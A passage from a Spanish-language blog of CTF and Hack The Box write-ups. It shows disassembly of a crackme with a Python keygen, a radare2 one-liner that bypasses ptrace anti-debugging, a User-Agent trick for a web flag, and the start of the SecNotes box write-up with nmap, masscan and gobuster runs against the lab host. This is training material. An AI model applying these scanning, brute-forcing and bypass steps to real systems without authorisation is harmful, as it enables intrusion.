</span></span><span style="display:flex;"><span>│   sym.compare (int arg1, int arg2);
</span></span><span style="display:flex;"><span>│           ; var int local_10h @ rbp-0x10
</span></span><span style="display:flex;"><span>│           ; var int local_8h @ rbp-0x8
</span></span><span style="display:flex;"><span>│           ; arg int arg1 @ rdi
</span></span><span style="display:flex;"><span>│           ; arg int arg2 @ rsi
</span></span><span style="display:flex;"><span>│           ; CALL XREF from main (0x12a5)
</span></span><span style="display:flex;"><span>│           0x000011ae      55             push rbp
</span></span><span style="display:flex;"><span>│           0x000011af      4889e5         mov rbp, rsp
</span></span><span style="display:flex;"><span>│           0x000011b2      48897df8       mov qword [local_8h], rdi   ; arg1
</span></span><span style="display:flex;"><span>│           0x000011b6      488975f0       mov qword [local_10h], rsi  ; arg2
</span></span><span style="display:flex;"><span>│       ┌─&lt; 0x000011ba      eb20           jmp 0x11dc
</span></span><span style="display:flex;"><span>│       │   ; CODE XREF from sym.compare (0x11ec)
</span></span><span style="display:flex;"><span>│      ┌──&gt; 0x000011bc      488b45f8       mov rax, qword [local_8h]
</span></span><span style="display:flex;"><span>│      ╎│   0x000011c0      0fb600         movzx eax, byte [rax]
</span></span><span style="display:flex;"><span>│      ╎│   0x000011c3      84c0           test al, al
</span></span><span style="display:flex;"><span>│     ┌───&lt; 0x000011c5      7427           je 0x11ee
</span></span><span style="display:flex;"><span>│     │╎│   0x000011c7      488b45f0       mov rax, qword [local_10h]
</span></span><span style="display:flex;"><span>│     │╎│   0x000011cb      0fb600         movzx eax, byte [rax]
</span></span><span style="display:flex;"><span>│     │╎│   0x000011ce      84c0           test al, al
</span></span><span style="display:flex;"><span>│    ┌────&lt; 0x000011d0      741c           je 0x11ee
</span></span><span style="display:flex;"><span>│    ││╎│   0x000011d2      488345f801     add qword [local_8h], 1
</span></span><span style="display:flex;"><span>│    ││╎│   0x000011d7      488345f001     add qword [local_10h], 1
</span></span><span style="display:flex;"><span>│    ││╎│   ; CODE XREF from sym.compare (0x11ba)
</span></span><span style="display:flex;"><span>│    ││╎└─&gt; 0x000011dc      488b45f8       mov rax, qword [local_8h]
</span></span><span style="display:flex;"><span>│    ││╎    0x000011e0      0fb610         movzx edx, byte [rax]
</span></span><span style="display:flex;"><span>│    ││╎    0x000011e3      488b45f0       mov rax, qword [local_10h]
</span></span><span style="display:flex;"><span>│    ││╎    0x000011e7      0fb600         movzx eax, byte [rax]
</span></span><span style="display:flex;"><span>│    ││╎    0x000011ea      38c2           cmp dl, al
</span></span><span style="display:flex;"><span>│    ││└──&lt; 0x000011ec      74ce           je 0x11bc
</span></span><span style="display:flex;"><span>│    ││     ; CODE XREFS from sym.compare (0x11c5, 0x11d0)
</span></span><span style="display:flex;"><span>│    └└───&gt; 0x000011ee      488b45f8       mov rax, qword [local_8h]
</span></span><span style="display:flex;"><span>│           0x000011f2      0fb600         movzx eax, byte [rax]
</span></span><span style="display:flex;"><span>│           0x000011f5      84c0           test al, al
</span></span><span style="display:flex;"><span>│       ┌─&lt; 0x000011f7      7512           jne 0x120b
</span></span><span style="display:flex;"><span>│       │   0x000011f9      488b45f0       mov rax, qword [local_10h]
</span></span><span style="display:flex;"><span>│       │   0x000011fd      0fb600         movzx eax, byte [rax]
</span></span><span style="display:flex;"><span>│       │   0x00001200      84c0           test al, al
</span></span><span style="display:flex;"><span>│      ┌──&lt; 0x00001202      7507           jne 0x120b
</span></span><span style="display:flex;"><span>│      ││   0x00001204      b800000000     mov eax, 0
</span></span><span style="display:flex;"><span>│     ┌───&lt; 0x00001209      eb05           jmp 0x1210
</span></span><span style="display:flex;"><span>│     │││   ; CODE XREFS from sym.compare (0x11f7, 0x1202)
</span></span><span style="display:flex;"><span>│     │└└─&gt; 0x0000120b      b8ffffffff     mov eax, 0xffffffff         ; -1
</span></span><span style="display:flex;"><span>│     │     ; CODE XREF from sym.compare (0x1209)
</span></span><span style="display:flex;"><span>│     └───&gt; 0x00001210      5d             pop rbp
</span></span><span style="display:flex;"><span>└           0x00001211      c3             ret
</span></span><span style="display:flex;"><span>[0x000011ae]&gt;
</span></span></code></pre></div><p>Esta funcion es mas sencilla de lo que parece. Basicamente compara ambos strings y devuelve 0 si son diferentes y -1 si son iguales.</p>
<p>Ojo que trabaja con longitudes diferentes, pero mientras sea igual la primera parte, pasa iguales.</p>
<p>Ok, ya tenemos todo lo necesario para entender como funciona cada una de las funciones y el programa en general. Basicamente si sabemos el valor final de comparación, le aplicamos el inverso del xor, es decir, valor_final ^ (0x69+n), podremos tener el valor de entrada que necesitamos para entrar en el mensaje de exito.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[0x000011ae]&gt; pdf @ main | grep sym.comp -B 2
</span></span><span style="display:flex;"><span>│      │    0x0000129b      488d35a62d00.  lea rsi, obj.pass           ; 0x4048 ; &#34;:\x06\n\x1c\x0e\x06&#34;
</span></span><span style="display:flex;"><span>│      │    0x000012a2      4889c7         mov rdi, rax
</span></span><span style="display:flex;"><span>│      │    0x000012a5      e804ffffff     call sym.compare
</span></span><span style="display:flex;"><span>[0x000011ae]&gt; pd 5 @ obj.pass
</span></span><span style="display:flex;"><span>            ;-- pass:
</span></span><span style="display:flex;"><span>            ; DATA XREF from main (0x129b)
</span></span><span style="display:flex;"><span>            0x00004048      3a06           cmp al, byte [rsi]
</span></span><span style="display:flex;"><span>            0x0000404a      0a1c0e         or bl, byte [rsi + rcx]
</span></span><span style="display:flex;"><span>            0x0000404d      06             invalid
</span></span><span style="display:flex;"><span>            0x0000404e      0000           add byte [rax], al
</span></span><span style="display:flex;"><span>            0x00004050      50             push rax
</span></span></code></pre></div><p>Tenemos que el valor es: 3a060a1c0e0600</p>
<p>Realizando un pequeño programa (keygen2.py) en python para la conversión:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>fixme <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;3a060a1c0e0600&#34;</span>
</span></span><span style="display:flex;"><span>counter <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> h <span style="color:#f92672">in</span> [fixme[i:i<span style="color:#f92672">+</span><span style="color:#ae81ff">2</span>] <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, len(fixme), <span style="color:#ae81ff">2</span>)]:
</span></span><span style="display:flex;"><span>    flag <span style="color:#f92672">+=</span> chr(int(h, <span style="color:#ae81ff">16</span>) <span style="color:#f92672">^</span> (<span style="color:#ae81ff">0x69</span> <span style="color:#f92672">+</span> counter))
</span></span><span style="display:flex;"><span>    counter <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>print flag
</span></span></code></pre></div><p>Validamos contra el ejecutable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ python keygen2.py
</span></span><span style="display:flex;"><span>Slapcho
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ python keygen2.py | ./crackme2
</span></span><span style="display:flex;"><span>Esto te va a Fascinar!! Dame la contraseña: Es Correcto.. La Contraseña es tu Flag Campeon!!!
</span></span></code></pre></div><p>Boom! Tenemos la flag&hellip; pero al ingresarla perdi una oportunidad ):</p>
<p>Regresemos a verificar:</p>
<ol>
<li>STDIN acepta 10 caracteres</li>
<li>Compare usa la distancia de obj.pass, que es de 7 caracteres (termina con un caracter null, que corta el string).</li>
</ol>
<p>Si asumimos que deben ser 10 caracteres de obj.pass en lugar de 7, tendriamos un nuevo string, que por supuesto pasaria porque todo lo que sea mayor a los 7 primeros caracteres pasa el filtro de compare:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ cat keygen2.py
</span></span><span style="display:flex;"><span>#!/usr/bin/env python
</span></span><span style="display:flex;"><span>fixme = &#34;3a060a1c0e06000050&#34;
</span></span><span style="display:flex;"><span>counter = 0
</span></span><span style="display:flex;"><span>flag = &#34;&#34;
</span></span><span style="display:flex;"><span>for h in [fixme[i:i+2] for i in range(0, len(fixme), 2)]:
</span></span><span style="display:flex;"><span>    flag += chr(int(h, 16) ^ (0x69 + counter))
</span></span><span style="display:flex;"><span>    counter += 1
</span></span><span style="display:flex;"><span>print flag
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ python keygen2.py | ./crackme2
</span></span><span style="display:flex;"><span>Esto te va a Fascinar!! Dame la contraseña: Es Correcto.. La Contraseña es tu Flag Campeon!!!
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ python keygen2.py
</span></span><span style="display:flex;"><span>Slapchop!
</span></span></code></pre></div><h4 id="for-fun">For fun</h4>
<p>Se puede bypassear el antidebugging usado el siguiente hooker, y modificando rax</p>
<blockquote>
<p>(hooker, dr rax=1, dc);db $$+5 @@=`axt sym.imp.ptrace<del>CALL</del>call[1]`;dbc $$+5 .(hooker) @@=`axt sym.imp.ptrace<del>CALL</del>call[1]` #bypass ptrace debugging detection</p>
</blockquote>
<h3 id="flag-11">Flag</h3>
<p>flag{Slapchop!}</p>
<h1 id="web">Web</h1>
<h2 id="web1-75pts">Web1 (75pts)</h2>
<p>Identify yourself!!</p>
<p><a href="http://ctf.alphasec.xyz:9090/">http://ctf.alphasec.xyz:9090/</a></p>
<hr>
<h3 id="solution-12">Solution</h3>
<p>Primero hagamos un httpie al host:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ http ctf.alphasec.xyz:9090
</span></span><span style="display:flex;"><span>HTTP/1.0 200 OK
</span></span><span style="display:flex;"><span>Content-Length: 100
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=utf-8
</span></span><span style="display:flex;"><span>Date: Mon, 21 Jan 2019 06:12:32 GMT
</span></span><span style="display:flex;"><span>Server: Werkzeug/0.14.1 Python/3.5.3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;img src=&#34;https://upload.wikimedia.org/wikipedia/commons/thumb/b/bd/Vivaldi.jpg/220px-Vivaldi.jpg&#34; &gt;
</span></span></code></pre></div><p>Nos aparece una imagen de Vivaldi, un claro guiño al navegador vivaldi. Cambiemos nuestro user-agent:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ http ctf.alphasec.xyz:9090 User-Agent:&#34; Vivaldi/ &#34;
</span></span><span style="display:flex;"><span>HTTP/1.0 200 OK
</span></span><span style="display:flex;"><span>Content-Length: 34
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=utf-8
</span></span><span style="display:flex;"><span>Date: Mon, 21 Jan 2019 06:12:34 GMT
</span></span><span style="display:flex;"><span>Server: Werkzeug/0.14.1 Python/3.5.3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;h1&gt;flag{LasCuatroEstaciones}&lt;/h1&gt;
</span></span></code></pre></div><p>Y&hellip; tenemos la flag.</p>
<h3 id="flag-12">Flag</h3>
<p>flag{LasCuatroEstaciones}</p>
<hr>
<p>Y así, otro CTF finalizo. Nuevas lecciones aprendidas, uno que otro muro por delante, pero eso si, mucha diversión.</p>]]></content></item><item><title>HTB write-up: Secnotes</title><link>https://www.xbyte.mx/posts/htb_writeup_-_secnotes/</link><pubDate>Fri, 18 Jan 2019 21:48:46 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_secnotes/</guid><description>&lt;p&gt;Este es mi primer write-up acerca de la resolución de una maquina de HTB, aunque en hice notas de muchas de las maquinas anteriores, nunca se me hubiera ocurrido llegar a hacer una entrada al respecto.&lt;/p&gt;
&lt;p&gt;Curiosamente, esta es también fue mi primera maquina del año y tras alrededor de 6 meses sin resolver maquinas, volví nuevamente con muchas ganas de divertirme.&lt;/p&gt;
&lt;p&gt;Sin más, les dejo mis notas.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Este es mi primer write-up acerca de la resolución de una maquina de HTB, aunque en hice notas de muchas de las maquinas anteriores, nunca se me hubiera ocurrido llegar a hacer una entrada al respecto.</p>
<p>Curiosamente, esta es también fue mi primera maquina del año y tras alrededor de 6 meses sin resolver maquinas, volví nuevamente con muchas ganas de divertirme.</p>
<p>Sin más, les dejo mis notas.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la maquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>SecNotes</td>
          <td>0xdf</td>
          <td>Windows</td>
          <td>10.10.10.97</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-secnotes/cardinfo.png" alt="Card Info"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Comenzamos por escanear todos los puertos TCP abiertos en la maquina, con la finalidad de poder encontrar los servicios ejecutándose en la maquina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~# nmap -sS -p- -n --open 10.10.10.97
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at c 12:15 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.97
</span></span><span style="display:flex;"><span>Host is up (0.47s latency).
</span></span><span style="display:flex;"><span>Not shown: 65532 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>80/tcp   open  http
</span></span><span style="display:flex;"><span>445/tcp  open  microsoft-ds
</span></span><span style="display:flex;"><span>8808/tcp open  ssports-bcast
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 428.05 seconds
</span></span></code></pre></div><p>Como backup ejecutamos masscan para verificar que sean los mismos puertos encontrados:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.97
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-07 18:45:28 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.97
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.97
</span></span><span style="display:flex;"><span>Discovered open port 8808/tcp on 10.10.10.97
</span></span></code></pre></div><h1 id="service-identification">Service Identification</h1>
<p>Al finalizar el escaneo, procedemos a volver a ejecutar un nmap con la finalidad de identificar los banners de los servicios descubiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~# nmap -p80,445,8808 -sV -sC 10.10.10.97 -n -Pn
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 12:55 CST
</span></span><span style="display:flex;"><span>Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
</span></span><span style="display:flex;"><span>NSE Timing: About 99.52% done; ETC: 12:55 (0:00:00 remaining)
</span></span><span style="display:flex;"><span>Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
</span></span><span style="display:flex;"><span>NSE Timing: About 99.52% done; ETC: 12:55 (0:00:00 remaining)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.97
</span></span><span style="display:flex;"><span>Host is up (0.24s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span>80/tcp   open  http         Microsoft IIS httpd 10.0
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>| http-title: Secure Notes - Login
</span></span><span style="display:flex;"><span>|_Requested resource was login.php
</span></span><span style="display:flex;"><span>445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
</span></span><span style="display:flex;"><span>8808/tcp open  http         Microsoft IIS httpd 10.0
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>|_http-title: IIS Windows
</span></span><span style="display:flex;"><span>Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>|_clock-skew: mean: 2h40m00s, deviation: 4h37m08s, median: 0s
</span></span><span style="display:flex;"><span>| smb-os-discovery:
</span></span><span style="display:flex;"><span>|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
</span></span><span style="display:flex;"><span>|   OS CPE: cpe:/o:microsoft:windows_10::-
</span></span><span style="display:flex;"><span>|   Computer name: SECNOTES
</span></span><span style="display:flex;"><span>|   NetBIOS computer name: SECNOTES\x00
</span></span><span style="display:flex;"><span>|   Workgroup: HTB\x00
</span></span><span style="display:flex;"><span>|_  System time: 2019-01-07T10:55:42-08:00
</span></span><span style="display:flex;"><span>| smb-security-mode:
</span></span><span style="display:flex;"><span>|   account_used: &lt;blank&gt;
</span></span><span style="display:flex;"><span>|   authentication_level: user
</span></span><span style="display:flex;"><span>|   challenge_response: supported
</span></span><span style="display:flex;"><span>|_  message_signing: disabled (dangerous, but default)
</span></span><span style="display:flex;"><span>| smb2-security-mode:
</span></span><span style="display:flex;"><span>|   2.02:
</span></span><span style="display:flex;"><span>|_    Message signing enabled but not required
</span></span><span style="display:flex;"><span>| smb2-time:
</span></span><span style="display:flex;"><span>|   date: 2019-01-07 12:55:46
</span></span><span style="display:flex;"><span>|_  start_date: N/A
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 53.93 seconds
</span></span></code></pre></div><p>Encontramos que el banner ha podido identificar que la maquina es un Windows 10, ejecutando IIS en dos puertos (80 y 8808). En el servicio de SMB identificamos el nombre de la maquina (SECNOTES), el WORKGROUP que es HTB. Continuemos por analizar el puerto TCP/80.</p>
<h1 id="gobuster--small-dirbuster-list">GoBuster + Small dirbuster list</h1>
<p>Ejecutamos un ataque de fuerza bruta a las carpetas y archivos del servidor Web mediante gobuster:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# gobuster -u http://10.10.10.97/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,php -t 20
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.0              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.97/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403
</span></span><span style="display:flex;"><span>[+] Extensions   : txt,php
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/07 17:05:23 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/contact.php (Status: 302)
</span></span><span style="display:flex;"><span>/home.php (Status: 302)
</span></span><span style="display:flex;"><span>/login.php (Status: 200)
</span></span><span style="display:flex;"><span>/register.php (Status: 200)
</span></span><span style="display:flex;"><span>/logout.php (Status: 302)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/07 17:53:35 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span></code></pre></div><p>Al finalizar, podemos observar que hemos encontrado algunas paginas php por lo que comencemos a analizar la aplicación web.</p>
<h1 id="httpie-across-the-universe">Httpie across the universe</h1>
<p>Comenzamos por ir a &ldquo;home&rdquo; /:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http http://10.10.10.97
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Content-Length: 0
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:16:02 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Location: login.php
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=4b1oeeinkoj5bhdfsr8iugvvh7; path=/
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span></code></pre></div><p>Nos redirecciona a la pagina login, por lo que cambiamos la petición:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http http://10.10.10.97/login.php
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Content-Length: 1223
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:16:12 GMT
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;\!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Login&lt;/title&gt;
</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; }
</span></span><span style="display:flex;"><span>        .wrapper{ width: 350px; padding: 20px; }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;wrapper&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h2&gt;Login&lt;/h2&gt;
</span></span><span style="display:flex;"><span>        &lt;p&gt;Please fill in your credentials to login.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;form action=&#34;https://www.xbyte.mx/login.php&#34; method=&#34;post&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Username&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;text&#34; name=&#34;username&#34;class=&#34;form-control&#34; value=&#34;&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;password&#34; class=&#34;form-control&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;submit&#34; class=&#34;btn btn-primary&#34; value=&#34;Login&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;p&gt;Don&#39;t have an account? &lt;a href=&#34;register.php&#34;&gt;Sign up now&lt;/a&gt;.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;/form&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Podemos observar un form para loggearnos y un párrafo abajo indicándonos que podemos registrarnos. Como no tenemos credenciales ni tenemos mas información relevante, vamos a registrarnos para ver hasta que nivel tenemos información:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http http://10.10.10.97/register.php
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Content-Length: 1569
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:18:56 GMT
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Sign Up&lt;/title&gt;
</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; }
</span></span><span style="display:flex;"><span>        .wrapper{ width: 350px; padding: 20px; }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;wrapper&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h2&gt;Sign Up&lt;/h2&gt;
</span></span><span style="display:flex;"><span>        &lt;p&gt;Please fill this form to create an account.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;form action=&#34;https://www.xbyte.mx/register.php&#34; method=&#34;post&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Username&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;text&#34; name=&#34;username&#34;class=&#34;form-control&#34; value=&#34;&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
